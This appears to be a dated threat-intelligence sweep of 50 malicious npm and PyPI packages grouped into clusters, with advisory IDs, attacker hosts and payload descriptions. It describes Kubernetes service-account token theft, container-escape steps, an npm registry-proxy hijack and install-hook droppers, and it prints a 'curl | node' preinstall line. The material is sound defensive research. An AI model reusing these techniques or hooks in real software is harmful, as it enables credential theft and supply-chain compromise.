# GitHub Advisory malware sweep - 2026-10-09 (xwise8887 wave-2 continuation `wie888r`/`testrrrd`/`xblaxw`/`@wxwxtest/testrrrdd` to `185.158.107.175:8787/_ah/dc`; Wix dep-confusion cluster `wix-reg-poc-bypass` (webhook.site) + `css-overscroll-contain` (dxpoc.gt.tc, K8s SA-token theft + container escape); `pxnpm` nfjbill-operator npm proxy weaponization (same operator as 2026-08 `yakuza0`); 16-package `@bellaxchuu/*` + sibling Baileys-themed lure cluster; 6-package `@dransay/*` oast.site dep-confusion probes; `@bitwardne/*` 2-package Bitwarden typosquat; 5-package `@galicia-toolkit/*`+`@design-system-coopeuch/web` dep-confusion cluster; 9 dev-tooling typosquats; 2 pypi `kafka-roller`/`kafka-helmsman` 99.x dep-confusion probes; plus standalones)

> GHSA 2026-10-09: 50 fresh malware advisories across 10 clusters (48 npm, 2 pypi). Headline items: **continuation of the `xwise8887` dep-confusion operator** (`wie888r`/`testrrrd`/`xblaxw`/`@wxwxtest/testrrrdd` beaconing to the same `185.158.107.175:8787/_ah/dc` endpoint as yesterday); **Wix dep-confusion cluster** including `css-overscroll-contain` which carries K8s service-account token theft and container-escape payload; and **`pxnpm` npm proxy weaponization** from the same operator (`nfjbill.ren`) as the 2026-08 `yakuza0@2.23.40` malicious release.

- Published: 2026-10-09
- Severity: high
- Kind: Advisory sweep - A dated batch of GitHub Advisory Database malware entries collected together. A sweep mixes kinds - typosquats, dependency-confusion probes, boilerplate takedowns with no published analysis, and occasionally real payloads - and its severity reflects the worst confirmed item, not the batch as a whole.
- Ecosystems: npm, PyPI
- Scope: 50 packages, 91 compromised versions
- Tags: typosquat, dependency-confusion, credential-theft, dns-exfiltration, obfuscation
- Also known as: 2026-10-09 GHSA sweep, xwise8887 operator wave 2, wie888r testrrrd xblaxw cluster, Wix dep-confusion wave 2 (css-overscroll-contain K8s token theft), pxnpm nfjbill proxy weaponization, @bellaxchuu Baileys lure 16-package cluster, @dransay oast.site dep-confusion probe, @bitwardne Bitwarden typosquat, @galicia-toolkit dep-confusion, kafka-roller kafka-helmsman pypi dep-confusion
- Detected by: GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector, kam193/bad-packages, npm security
- Incident ID: multi-2026-10-09-ghsa-malware-sweep

## Affected packages (50)

Only the exact versions listed were named by the source advisories. Other versions are not implicated.

| Package | Ecosystem | Compromised versions |
|---|---|---|
| [@bellaxchuu/bails](https://dependencywatch.io/package/npm/@bellaxchuu/bails) | npm | * |
| [@bellaxchuu/crystalred](https://dependencywatch.io/package/npm/@bellaxchuu/crystalred) | npm | * |
| [@bellaxchuu/familyxtrx](https://dependencywatch.io/package/npm/@bellaxchuu/familyxtrx) | npm | * |
| [@bellaxchuu/flowblue](https://dependencywatch.io/package/npm/@bellaxchuu/flowblue) | npm | * |
| [@bellaxchuu/libsignal-node](https://dependencywatch.io/package/npm/@bellaxchuu/libsignal-node) | npm | * |
| [@bellaxchuu/overbugs](https://dependencywatch.io/package/npm/@bellaxchuu/overbugs) | npm | * |
| [@bellaxchuu/privatebails](https://dependencywatch.io/package/npm/@bellaxchuu/privatebails) | npm | * |
| [@bellaxchuu/skyblue](https://dependencywatch.io/package/npm/@bellaxchuu/skyblue) | npm | * |
| [@bellaxchuu/velvetry](https://dependencywatch.io/package/npm/@bellaxchuu/velvetry) | npm | * |
| [@bellaxchuu/xbailey](https://dependencywatch.io/package/npm/@bellaxchuu/xbailey) | npm | * |
| [@bellaxchuu/xbails](https://dependencywatch.io/package/npm/@bellaxchuu/xbails) | npm | * |
| [@bellaxchuu/xtrxbails](https://dependencywatch.io/package/npm/@bellaxchuu/xtrxbails) | npm | * |
| [@bellaxchuu/yarnbails](https://dependencywatch.io/package/npm/@bellaxchuu/yarnbails) | npm | * |
| [@bitwardne/cli](https://dependencywatch.io/package/npm/@bitwardne/cli) | npm | 1.0.1 |
| [@bitwardne/jslib](https://dependencywatch.io/package/npm/@bitwardne/jslib) | npm | 1.1.0 |
| [@design-system-coopeuch/web](https://dependencywatch.io/package/npm/@design-system-coopeuch/web) | npm | * |
| [@dransay/db](https://dependencywatch.io/package/npm/@dransay/db) | npm | 99.0.0 |
| [@dransay/feature-flags](https://dependencywatch.io/package/npm/@dransay/feature-flags) | npm | 99.0.0 |
| [@dransay/logger](https://dependencywatch.io/package/npm/@dransay/logger) | npm | 99.0.0 |
| [@dransay/phone-fix-test](https://dependencywatch.io/package/npm/@dransay/phone-fix-test) | npm | 99.0.0 |
| [@dransay/secrets](https://dependencywatch.io/package/npm/@dransay/secrets) | npm | 99.0.0 |
| [@galicia-toolkit/core](https://dependencywatch.io/package/npm/@galicia-toolkit/core) | npm | * |
| [@galicia-toolkit/error-master](https://dependencywatch.io/package/npm/@galicia-toolkit/error-master) | npm | * |
| [@galicia-toolkit/spa-build-config](https://dependencywatch.io/package/npm/@galicia-toolkit/spa-build-config) | npm | * |
| [@galicia-toolkit/tag-manager](https://dependencywatch.io/package/npm/@galicia-toolkit/tag-manager) | npm | * |
| [@kxafunc/xbails](https://dependencywatch.io/package/npm/@kxafunc/xbails) | npm | 0.0.8 |
| [@wxwxtest/testrrrdd](https://dependencywatch.io/package/npm/@wxwxtest/testrrrdd) | npm | 0.0.1, 0.1.0, 1.0.0, 1.0.1, 2.0.0, 2.0.1, 3.0.0 |
| [@xayz/libsignal-node](https://dependencywatch.io/package/npm/@xayz/libsignal-node) | npm | * |
| [brat-generator](https://dependencywatch.io/package/npm/brat-generator) | npm | * |
| [centralogger](https://dependencywatch.io/package/npm/centralogger) | npm | * |
| [clickfix_npm_delivery](https://dependencywatch.io/package/npm/clickfix_npm_delivery) | npm | 1.0.0, 1.0.2 |
| [connector-agent](https://dependencywatch.io/package/npm/connector-agent) | npm | * |
| [css-overscroll-contain](https://dependencywatch.io/package/npm/css-overscroll-contain) | npm | 1.0.1, 1.0.2, 1.0.3 |
| [dom-utils-lite](https://dependencywatch.io/package/npm/dom-utils-lite) | npm | * |
| [dransay](https://dependencywatch.io/package/npm/dransay) | npm | 99.0.0 |
| [kafka-helmsman](https://dependencywatch.io/package/pypi/kafka-helmsman) | PyPI | 99.0.1, 99.0.2, 99.0.3, 99.0.4, 99.0.5, 99.0.6 |
| [kafka-roller](https://dependencywatch.io/package/pypi/kafka-roller) | PyPI | 99.0.0, 99.0.1, 99.0.2, 99.0.3, 99.0.4, 99.0.5, 99.0.6 |
| [my-baileys](https://dependencywatch.io/package/npm/my-baileys) | npm | * |
| [node-env-resolve](https://dependencywatch.io/package/npm/node-env-resolve) | npm | * |
| [node-fetch-lite](https://dependencywatch.io/package/npm/node-fetch-lite) | npm | * |
| [node-gyp-runtime](https://dependencywatch.io/package/npm/node-gyp-runtime) | npm | * |
| [pxnpm](https://dependencywatch.io/package/npm/pxnpm) | npm | 7.0.0-beta.6, 7.0.0-beta.8, 7.0.0 |
| [revine](https://dependencywatch.io/package/npm/revine) | npm | 2.4.0 |
| [system-driver](https://dependencywatch.io/package/npm/system-driver) | npm | * |
| [tailwindcss-effects-kit](https://dependencywatch.io/package/npm/tailwindcss-effects-kit) | npm | * |
| [tailwindcss-ui-extensions](https://dependencywatch.io/package/npm/tailwindcss-ui-extensions) | npm | * |
| [testrrrd](https://dependencywatch.io/package/npm/testrrrd) | npm | 0.0.1, 1.0.0, 1.1.0, 2.0.0, 2.0.1, 3.0.0, 99.0.1 |
| [wie888r](https://dependencywatch.io/package/npm/wie888r) | npm | 0.0.1, 1.0.0, 1.0.1, 1.1.0, 2.0.0, 2.0.1, 3.0.0, 99.0.1 |
| [wix-reg-poc-bypass](https://dependencywatch.io/package/npm/wix-reg-poc-bypass) | npm | 1.0.0 |
| [xblaxw](https://dependencywatch.io/package/npm/xblaxw) | npm | 1.0.0, 1.0.1, 1.1.0, 2.0.0, 2.0.1, 3.0.0, 99.0.1 |

## What happened

Between roughly 2026-10-08 11:00 UTC (end of yesterday`s sweep window) and 2026-10-09 11:00 UTC, the GitHub Advisory Database (via OpenSSF `malicious-packages`, Amazon Inspector`s IN-MAL feed, and `kam193/bad-packages`) published 50 fresh malware advisories: 48 npm and 2 pypi.

The sweep breaks into **10 clusters by operator profile and payload family**, with three confirmed operator continuations: the **xwise8887 operator** (yesterday → today, same beacon URL), the **Wix dep-confusion operator** (yesterday → today, now with K8s SA-token-theft payload), and the **`nfjbill` operator** (2026-08-07 `yakuza0` → today`s `pxnpm`, same npm-proxy-weaponization primitive).

## Cluster A - npm `wie888r`+`testrrrd`+`xblaxw`+`@wxwxtest/testrrrdd` xwise8887 wave 2

| Package | Versions | GHSA | OSV | Beacon |
|---|---|---|---|---|
| `wie888r` | 0.0.1, 1.0.0, 1.0.1, 1.1.0, 2.0.0, 2.0.1, 3.0.0, 99.0.1 | GHSA-fhmp-x3hx-6669 | MAL-2026-17707 | `http://185.158.107.175:8787/_ah/dc` |
| `testrrrd` | 0.0.1, 1.0.0, 1.1.0, 2.0.0, 2.0.1, 3.0.0, 99.0.1 | GHSA-w6fg-gwpf-x5xf | MAL-2026-17706 | same |
| `xblaxw` | 1.0.0, 1.0.1, 1.1.0, 2.0.0, 2.0.1, 3.0.0, 99.0.1 | GHSA-46q8-4h48-v8wc | MAL-2026-17708 | same |
| `@wxwxtest/testrrrdd` | 0.0.1, 0.1.0, 1.0.0, 1.0.1, 2.0.0, 2.0.1, 3.0.0 | GHSA-8qcg-7j5r-xhvh | - | same |

All four packages carry the identical operator fingerprint from yesterday's `troubleshooting`+`browser-metrics-plugin.contrib` (xwise8887): `postinstall` runs `node beacon.cjs` that POSTs `{ hostname, installPath, cwd, process.version, pkg name }` as plain-HTTP JSON to `185.158.107.175:8787/_ah/dc`; `index.js` exports a Proxy of no-op functions AND calls `require(./beacon.cjs).fire()` on import, so the beacon fires even with `--ignore-scripts` because importing the module triggers it. The `99.0.1` top version matches yesterday`s pattern. Classify `dependency-confusion`, severity `medium`.

## Cluster B - Wix dep-confusion cluster, now with K8s SA-token theft on `css-overscroll-contain`

### `wix-reg-poc-bypass@1.0.0` (GHSA-v43v-p74g-hrf9, MAL-2026-17711)

Shadows Wix-internal registry module names (`thunderboltRegistry`, `corvidRegistry`, `editorRegistry`, `siteAssetsRegistry`) via a `registry-manifest.min.json` that points to a `static.parastorage.com/unpkg/wix-reg-poc-bypass@1.0.0/` lure URL. `thunderboltRegistry.js` runs an IIFE at module load that executes host-identifying commands, combines their output with `process.platform` + `process.arch` + PID + `process.version`, and POSTs to `webhook.site/43022177-de67-4d5c-a6df-33083b2b026f`. The exported factories return Proxy stubs rather than real registry implementations, so the only effective behaviour is the recon beacon.

### `css-overscroll-contain@1.0.1/1.0.2/1.0.3` (GHSA-hjq9-gv63-8hh8, MAL-2026-17705)

Same Wix-internal `thunderboltRegistry.js`/`siteAssetsRegistry`/`editorRegistry`/`corvidRegistry` lures + `registry-manifest.min.json` pointing to `static.parastorage.com/unpkg/css-overscroll-contain@1.0.1/`. The payload runs:

- `execSync` on `uname`, `hostname`, `id`
- read `/proc/self/mountinfo`
- env variable scrape with secret-like-pattern matching
- **read `/var/run/secrets/kubernetes.io/serviceaccount/token`** - K8s SA-token theft
- `unshare --user --mount` + `devtmpfs`/`cgroup`/`release_agent` mount container-escape attempt
- Perl `memfd_create+exec` fileless-execution sequence
- exfil to `https://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f`

This is a continuation of yesterday`s Wix dep-confusion operator cluster (`css-jptvix-polyfill` + `appsecc.com/js`) but with a significantly more capable payload. The exfil domain `dxpoc.gt.tc` is a `.gt.tc` subdomain (free dynamic DNS) under attacker control. Classify `dependency-confusion`, severity `high` on `css-overscroll-contain` (confirmed K8s SA-token exfil + container-escape attempt), severity `medium` on `wix-reg-poc-bypass` (recon only).

## Cluster C - npm `pxnpm@7.0.0` proxy weaponization (nfjbill operator continuation)

`pxnpm@7.0.0-beta.6`/`7.0.0-beta.8`/`7.0.0` (GHSA-h3fw-vmw2-h9xc, OSV MAL-2026-17710, published 2026-10-06 by npm user `nfjbill`).

The `postinstall` script `bin/install.cjs` downloads a 17-21 MB Brotli archive from `https://registry-pxnpm.rdc.nfjbill.ren:20021/__static/srv/downloads/pxnpm/`, decompresses it to a 52-72 MB executable, marks it executable, and caches it at `~/.cache/pxnpm/native/`. The launcher (`dist/launcher.cjs:54`) runs that binary on every CLI invocation.

The binary clears `npm_config_registry`/`npm_config_proxy`/`npm_config_https_proxy` from the environment and forces them to point at `nfjbill.ren:20022` (a `gost` proxy under attacker control). From the moment `pxnpm` runs once on a host, every subsequent `npm install` on that host routes through the attacker`s proxy, which can rewrite tarballs on the wire and serve arbitrary malicious packages under any name.

The second-stage binary could not be analysed because the download later returned an npm JSON document rather than the archive, but the proxy-weaponization primitive is confirmed from the launcher code.

**Operator continuity**: same operator domain `nfjbill.ren` as the 2026-08-07 `yakuza0@2.23.40` compromise (OSV MAL-2026-13605) - that incident shipped `server/proxy/tire.js` and `server/proxy/csrf.js` combining `child_process` with `curl` POST/GET to the same operator host and included the `registry-pxnpm.rdc.nfjbill.ren` IOC in the GHSA write-up. Today`s `pxnpm@7.0.0` extends that primitive with a full npm registry proxy.

Classify `malicious-package`, severity `high` (confirmed proxy weaponization + remote-binary execution + operator continuity across two separate malicious npm packages 2 months apart).

## Cluster D - 16-package `@bellaxchuu/*` + sibling Baileys-themed lure cluster

- `@bellaxchuu/overbugs` all versions (GHSA-mhqg-97g5-qg8m)
- `@bellaxchuu/familyxtrx` all versions (GHSA-jgwg-m26g-j9c2)
- `@bellaxchuu/crystalred` all versions (GHSA-862w-53p5-jcpx)
- `@bellaxchuu/libsignal-node` all versions (GHSA-3x55-8979-2xhq)
- `@bellaxchuu/skyblue` all versions (GHSA-5x7v-4r7v-353c)
- `@bellaxchuu/xbailey` all versions (GHSA-rq65-h2vx-ww39)
- `@bellaxchuu/xtrxbails` all versions (GHSA-5f6x-qj83-2895)
- `@bellaxchuu/velvetry` all versions (GHSA-9jwq-m497-mcq5)
- `@bellaxchuu/privatebails` all versions (GHSA-46rh-wx96-cw47)
- `@bellaxchuu/flowblue` all versions (GHSA-4gc8-pmgh-hx47)
- `@bellaxchuu/yarnbails` all versions (GHSA-mff5-fqw5-7vhj)
- `@bellaxchuu/xbails` all versions (GHSA-mwq7-c4ww-fpfq)
- `@bellaxchuu/bails` all versions (GHSA-pxp7-vhfv-j52j)
- `@xayz/libsignal-node` all versions (GHSA-f748-f8w7-hf22)
- `my-baileys` all versions (GHSA-6v2q-p64f-6cp6)
- `@kxafunc/xbails@0.0.8` (GHSA-5prw-6f85-2mmg, MAL-2026-17701)

All 16 packages published 2026-10-08 and quarantined by npm security the same day. The naming is unambiguous: `-bails`/`-xbails`/`libsignal-node`/`my-baileys` are all brand-impersonations of the real `@WhiskeySockets/Baileys` WhatsApp library and the `libsignal` cryptographic library it depends on. The Baileys ecosystem is a repeat target of malicious npm "lure" campaigns against the WhatsApp automation user base.

`@kxafunc/xbails@0.0.8` is the most explicit of the cluster: its `package.json` aliases the real `libsignal` npm name to `npm:@bellaxchuu/libsignal-node@latest`, with no version pin and no integrity check. Any consumer that pulls `@kxafunc/xbails` into a Baileys project also indirectly pulls `@bellaxchuu/libsignal-node`, even if their own lockfile does not pin that name.

The GHSA bodies for all 16 packages are CWE-506 "fully compromised" boilerplate with no IOCs, so the actual payload remains undocumented. Classify `malicious-package`, severity `medium` (coordinated co-publication confirmed, runtime payload not yet published).

## Cluster E - 6-package `@dransay/*` dep-confusion probe cluster, `oast.site` OAST exfil

| Package | Version | GHSA | OSV |
|---|---|---|---|
| `dransay` | 99.0.0 | GHSA-j2mr-7vj7-w5rq | MAL-2026-17700 |
| `@dransay/db` | 99.0.0 | GHSA-gf65-f25f-jwqv | MAL-2026-17695 |
| `@dransay/feature-flags` | 99.0.0 | GHSA-rhg6-g966-4wxg | MAL-2026-17696 |
| `@dransay/phone-fix-test` | 99.0.0 | GHSA-4jfw-qx8x-7gv2 | MAL-2026-17698 |
| `@dransay/logger` | 99.0.0 | GHSA-7v9w-pmg3-8ww9 | MAL-2026-17697 |
| `@dransay/secrets` | 99.0.0 | GHSA-3qj5-xv6j-m8j4 | MAL-2026-17699 |

All six packages carry a `preinstall` hook running `node beacon.js` that performs a DNS lookup + HTTPS GET to the hardcoded OAST canary subdomain `db3klhbi6i9hark1kegg174t38h33b6wt.oast.site` with the package name embedded in the request path. The payload reads nothing beyond the installer`s source IP, DNS resolver IP, and timestamp. The README on each package calls them a benign bug-bounty proof-of-concept, but the install-time beacon fires regardless.

The `99.0.0` sentinel version is the canonical dep-confusion fingerprint, and the `@dransay/*` scope implies a bug-bounty engagement against a specific target org. All six quarantined. Classify `dependency-confusion`, severity `medium`.

## Cluster F - 2-package `@bitwardne/*` typosquat of `@bitwarden`

`@bitwardne/jslib@1.1.0` (GHSA-x8j2-59mv-fr7h, MAL-2026-17694) and `@bitwardne/cli@1.0.1` (GHSA-5mwm-46h7-pv2h, MAL-2026-17693). `@bitwardne` is a one-character typosquat of the real `@bitwarden` npm scope.

Both ship a four-line `index.js` that re-requires unrelated utilities (`@bitwardne/cli` bundles an unrelated `cli` option-parser library by Chris O'Hara as cover). The real behaviour is in `package.json`: `preinstall: curl -L <empty_url> | node`. The URL is empty in the shipped tarball, so the actual `curl` fails on install (making the preinstall a non-op today), but the structure is the canonical maintainer-abandoned-dropper pattern - the operator published a shell, intended to fill the staging URL in later, and either lost access or got caught before completing the setup.

Classify `typosquat`, severity `medium` (preinstall RCE primitive confirmed, no live payload URL).

## Cluster G - `@galicia-toolkit/*` + `@design-system-coopeuch/web` dep-confusion

- `@galicia-toolkit/core` all versions (GHSA-ff43-rphq-9mgw)
- `@galicia-toolkit/error-master` all versions (GHSA-42vv-c8c8-q765)
- `@galicia-toolkit/tag-manager` all versions (GHSA-q3gj-mpgg-cqpv)
- `@galicia-toolkit/spa-build-config` all versions (GHSA-7hx2-c7qp-ggjp)
- `@design-system-coopeuch/web` all versions (GHSA-vhjp-6vjm-vq35)

All five scoped names strongly suggest internal registries - a `galicia-toolkit` dev-tooling monorepo and the Coopeuch (a Chilean financial cooperative) design-system package. All published and quarantined 2026-10-08. GHSA bodies are "fully compromised" CWE-506 boilerplate with no runtime IOC detail. The operator profile and scoped-name fingerprint are consistent with dep-confusion rather than typosquats. Classify `dependency-confusion`, severity `medium`.

## Cluster H - 9 npm dev-tooling typosquats and CWE-506 boilerplate takedowns

- `tailwindcss-ui-extensions` all versions (GHSA-9ww2-25r2-rppg) - **typosquat** of the `tailwindcss` + `tailwindcss-animated` sets
- `tailwindcss-effects-kit` all versions (GHSA-9c94-xcv7-wcf4) - **typosquat** of the `tailwindcss-animatecss` + Tailwind effects adaptors
- `node-gyp-runtime` all versions (GHSA-v64f-f8pp-4qx2) - **typosquat** of real `node-gyp` + `node-gyp-build`
- `node-env-resolve` all versions (GHSA-fw57-xw67-r253) - **typosquat** of `dotenv` + `dotenv-expand`
- `node-fetch-lite` all versions (GHSA-cfmp-vp7q-257m) - **typosquat** of `node-fetch`
- `dom-utils-lite` all versions (GHSA-v6fr-pvhf-6rh5) - **typosquat** of `dom-utils`
- `system-driver` all versions (GHSA-43w2-g2fc-r4h3) - dev-tooling first-publish lure
- `connector-agent` all versions (GHSA-422j-hgjh-g8fg) - dev-tooling first-publish lure
- `centralogger` all versions (GHSA-wpw7-2rgx-4cfm) - dev-tooling first-publish lure

All nine are CWE-506 boilerplate takedowns with no IOCs. First six classify `typosquat`, last three `malicious-package`; all severity `medium`.

## Cluster I - 3 npm standalone CWE-506 boilerplate takedowns

- `revine@2.4.0` (GHSA-gr77-3hqf-674h, 2026-10-08)
- `brat-generator` all versions (GHSA-m45c-2rh6-33g6)
- `clickfix_npm_delivery@1.0.0`/`1.0.2` (GHSA-37h8-m54m-784j)

**Note on `clickfix_npm_delivery`**: "ClickFix" is a well-documented social-engineering malware-delivery pattern - a fake browser error dialog instructs the user to paste a `powershell` or `curl | sh` command into their terminal to "fix" a problem, which runs an infostealer. Seeing the name hard-coded in an npm package is unusual: it could be a defensive namespace hold, a researcher demo, or an npm-side arm of a broader ClickFix campaign. The GHSA body is boilerplate and the package is quarantined, so no runtime IOC is published.

Classify all three `malicious-package`, severity `medium`.

## Cluster J - 2-package pypi dep-confusion

`kafka-roller@99.0.0..99.0.6` (GHSA-8798-7m3x-mq4q, OSV MAL-2026-17703) and `kafka-helmsman@99.0.1..99.0.6` (GHSA-r3f3-f28g-rc9x, OSV MAL-2026-17702). Both PyPI dep-confusion probes against internal-looking `kafka-*` operations tooling at a 99.x sentinel version, both flagged by OpenSSF Package Analysis for outbound communication to a malicious-activity-associated domain. The specific domain is not disclosed in the GHSA body. Classify `dependency-confusion`, severity `medium`.

## Registry state

All 50 packages in this sweep are registry-quarantined at time of writing. Active operator-side infrastructure named today:

- `185.158.107.175:8787/_ah/dc` plain-HTTP beacon - Cluster A (xwise8887 wave 2)
- `webhook.site/43022177-de67-4d5c-a6df-33083b2b026f` collector - Cluster B (`wix-reg-poc-bypass`)
- `https://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f` K8s-SA-token exfil - Cluster B (`css-overscroll-contain`)
- `registry-pxnpm.rdc.nfjbill.ren:20021` download host + `nfjbill.ren:20022` gost proxy - Cluster C (`pxnpm`, nfjbill operator)
- `db3klhbi6i9hark1kegg174t38h33b6wt.oast.site` OAST canary - Cluster E (`@dransay/*`)

## Discovery credits

`GitHub Advisory Database`, `OpenSSF malicious-packages`, `OpenSSF Package Analysis`, `Amazon Inspector`, `kam193/bad-packages`, `npm security`. Per-package IOC details drawn from GHSA advisory bodies and npm registry metadata between 2026-10-08 11:00 UTC and 2026-10-09 11:00 UTC.

## Impact

- **Cluster A - xwise8887 wave-2 continuation: `wie888r`/`testrrrd`/`xblaxw`/`@wxwxtest/testrrrdd` beaconing to `185.158.107.175:8787/_ah/dc` (dependency-confusion/typosquat probes, confirmed install-time + require-time HTTP exfil)**: four packages published 2026-10-08 / 2026-10-09 reusing the exact same operator fingerprint as yesterday`s Cluster B (`troubleshooting` + `browser-metrics-plugin.contrib` from `xwise8887`): plain-HTTP POST to `185.158.107.175:8787/_ah/dc` with `{ hostname, installPath, cwd, process.version, pkg name }`, index.js exports a Proxy of no-op functions, `postinstall` runs `node beacon.cjs` AND `require(./beacon.cjs).fire()` triggers on import so the beacon fires with `--ignore-scripts` too. OSV MAL-2026-17707 (`wie888r`), MAL-2026-17706 (`testrrrd`), MAL-2026-17708 (`xblaxw`), and the `@wxwxtest/testrrrdd` advisory confirm operator continuity. All four quarantined by npm security. Classified `dependency-confusion`, severity `medium` (confirmed install-time hostname/path exfil, plain-HTTP collector, no second-stage disclosed)
- **Cluster B - Wix dep-confusion cluster: `wix-reg-poc-bypass` (webhook.site) + `css-overscroll-contain` (K8s SA-token theft + container escape) (dependency-confusion, confirmed install-time credential theft + container-escape payload on `css-overscroll-contain`)**: `wix-reg-poc-bypass@1.0.0` (GHSA-v43v-p74g-hrf9) is a Wix-internal `thunderboltRegistry`/`corvidRegistry`/`editorRegistry`/`siteAssetsRegistry` module-name shadow with an IIFE at module load that collects host-identifying commands + process.platform + arch + PID + Node version and POSTs to `webhook.site/43022177-de67-4d5c-a6df-33083b2b026f`; registry-manifest.min.json points to a parastorage CDN URL to look like legitimate Wix infrastructure. `css-overscroll-contain@1.0.1/1.0.2/1.0.3` (GHSA-hjq9-gv63-8hh8) is a SECOND package from the same Wix dep-confusion operator but with a VERY different payload: it ships the same `thunderboltRegistry.js`/`siteAssetsRegistry`/`editorRegistry`/`corvidRegistry` set + `registry-manifest.min.json` lures, but the actual payload runs `execSync` on `uname` and `hostname/id`, reads `/proc/self/mountinfo`, scrapes env variables matching secret-like patterns, **reads `/var/run/secrets/kubernetes.io/serviceaccount/token`**, and attempts `unshare --user --mount` + `devtmpfs/cgroup/release_agent` container-escape plus a `Perl memfd_create+exec` sequence; exfil to `https://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f`. This is a continuation of yesterday`s Wix dep-confusion operator cluster (`css-jptvix-polyfill` + `appsecc.com/js`), but `css-overscroll-contain` is the most capable Wix-targeted probe yet seen. Classified `dependency-confusion`, severity `high` (confirmed K8s SA-token exfil + container-escape attempt)
- **Cluster C - `pxnpm` npm proxy weaponization (malicious-package, same operator as 2026-08-07 `yakuza0@2.23.40` MAL-2026-13605 - `registry-pxnpm.rdc.nfjbill.ren` → gost proxy → attacker-controlled registry mirror)**: `pxnpm@7.0.0-beta.6/7.0.0-beta.8/7.0.0` (GHSA-h3fw-vmw2-h9xc, OSV MAL-2026-17710, published 2026-10-06 by npm user `nfjbill`). The `postinstall` script (`bin/install.cjs`) downloads a 17-21 MB Brotli archive from `https://registry-pxnpm.rdc.nfjbill.ren:20021/__static/srv/downloads/pxnpm/`, decompresses it to a 52-72 MB executable, and the launcher runs that binary on every invocation. The binary clears `npm_config_registry`/`npm_config_proxy`/`npm_config_https_proxy` from the environment and forces them to point at `nfjbill.ren:20022` (a `gost` proxy), routing ALL subsequent npm registry traffic through the attacker-controlled proxy. OpenSSF could not analyse the second-stage binary because the download later returned an npm JSON document rather than the archive. Same operator email/domain as the 2026-08-07 `yakuza0@2.23.40` compromise. Classified `malicious-package`, severity `high` (confirmed proxy weaponization + remote binary execution + operator continuity across two separate malicious npm packages 2 months apart)
- **Cluster D - 16-package `@bellaxchuu/*` + sibling Baileys-themed lure cluster (malicious-package, large coordinated Baileys/libsignal brand-impersonation campaign - CWE-506 boilerplate takedowns, no published payload analysis beyond "fully compromised" boilerplate)**: `@bellaxchuu/{overbugs, familyxtrx, crystalred, libsignal-node, skyblue, xbailey, xtrxbails, velvetry, privatebails, flowblue, yarnbails, xbails, bails}` (13 packages, GHSAs listed in references), plus the sibling packages `@xayz/libsignal-node` (GHSA-f748-f8w7-hf22), `my-baileys` (GHSA-6v2q-p64f-6cp6), and `@kxafunc/xbails@0.0.8` (GHSA-5prw-6f85-2mmg - this one is explicit: its `package.json` aliases the real `libsignal` npm name to `npm:@bellaxchuu/libsignal-node@latest`, pinning the Baileys/libsignal consumer to the malicious package at install time). All 16 packages published 2026-10-08 and all quarantined by npm security the same day. The `@bellaxchuu` scope + `-bails`/`-xbails` suffix + `libsignal-node` co-publication nail this as a coordinated attack on consumers of the `@WhiskeySockets/Baileys` WhatsApp library ecosystem - the Baileys library is a known repeat target of malicious-npm "lure" campaigns against the WhatsApp automation user base. No IOC body published for the actual payload. Classified `malicious-package`, severity `medium` (CWE-506 boilerplate, co-publication operator fingerprint confirmed, no runtime analysis published yet)
- **Cluster E - 6-package `@dransay/*` dep-confusion probe cluster with OAST exfil to `db3klhbi6i9hark1kegg174t38h33b6wt.oast.site` (dependency-confusion, confirmed install-time preinstall-script beacon disclosing IP+resolver metadata + package-name-keyed path, 99.0.0 sentinel version fingerprint)**: `dransay@99.0.0` (GHSA-j2mr-7vj7-w5rq), `@dransay/db@99.0.0` (GHSA-gf65-f25f-jwqv), `@dransay/feature-flags@99.0.0` (GHSA-rhg6-g966-4wxg), `@dransay/phone-fix-test@99.0.0` (GHSA-4jfw-qx8x-7gv2), `@dransay/logger@99.0.0` (GHSA-7v9w-pmg3-8ww9), `@dransay/secrets@99.0.0` (GHSA-3qj5-xv6j-m8j4). Every package carries a `preinstall` hook running `node beacon.js` that performs a DNS lookup + HTTPS GET to the single hardcoded OAST subdomain `db3klhbi6i9hark1kegg174t38h33b6wt.oast.site` with the package name embedded in the request path; the README describes the packages as a benign bug-bounty proof-of-concept but the install-time beacon fires regardless. The `99.0.0` sentinel version is the canonical dep-confusion fingerprint, and the `@dransay/*` scope implies a bug-bounty engagement against a specific target org, but external orgs with a lockfile hit are exposed. OSV MAL-2026-17695..17700. All six packages quarantined. Classified `dependency-confusion`, severity `medium` (confirmed install-time IP+resolver exfil, no destructive payload disclosed)
- **Cluster F - 2-package `@bitwardne/*` Bitwarden-scope typosquat (`@bitwardne` is a one-character typosquat of the real `@bitwarden` npm scope) with `preinstall: curl -L <url> | node` sideload (typosquat, confirmed install-time remote-code-execution via `curl | node` preinstall - URL left empty in the shipped tarball but the `preinstall` hook still fires)**: `@bitwardne/jslib@1.1.0` (GHSA-x8j2-59mv-fr7h, OSV MAL-2026-17694) and `@bitwardne/cli@1.0.1` (GHSA-5mwm-46h7-pv2h, OSV MAL-2026-17693). Both ship a four-line `index.js` stub that re-requires unrelated utilities (the `@bitwardne/cli` tarball bundles an unrelated option-parser `cli` library by Chris O`Hara as cover) with a `preinstall: curl -L <empty_url> | node` in `package.json`. The empty URL means `curl` fails as shipped (so the preinstall is a non-op today), but the structure is the canonical maintainer-abandoned-dropper pattern - the operator published a shell, intended to fill in the staging URL later, and either lost access or got caught before completing the setup. Both packages quarantined. Classified `typosquat`, severity `medium` (confirmed `preinstall` RCE primitive, no live payload URL)
